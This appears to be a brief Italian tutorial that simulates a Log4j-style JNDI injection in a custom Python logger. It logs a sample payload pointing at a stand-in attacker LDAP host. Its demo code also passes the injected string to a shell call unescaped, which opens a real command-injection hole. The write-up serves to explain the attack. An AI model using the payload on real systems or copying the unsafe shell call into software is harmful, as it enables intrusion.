
Simula la CVE-2026-21011, un'iniezione JNDI in stile Log4j in un logger personalizzato: analizza i pattern ${jndi:...} e dimostra l'esecuzione remota di codice attivata tramite LDAP.
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re
def log(message):
# Vulnerable: looks up JNDI-like syntax and executes
pattern = r'\$\{jndi:(.+?)\}'
for match in re.finditer(pattern, message):
lookup = match.group(1)
if lookup.startswith('ldap://'):
# Simulate connecting to LDAP and loading a class
print(f"Loading malicious class from {lookup}")
subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True) # just demo
log("User-Agent: ${jndi:ldap://attacker.com/Evil}")
Un framework di logging personalizzato valuta i pattern ${jndi:...} nei messaggi di log, in modo simile alla famigerata vulnerabilità LogShell. Un attaccante può iniettare una ricerca JNDI per caricare ed eseguire codice arbitrario da un server remoto.
Esegui la simulazione:
python log4j_sim.py
Lo script stampa che caricherebbe una classe dal server LDAP dell'attaccante.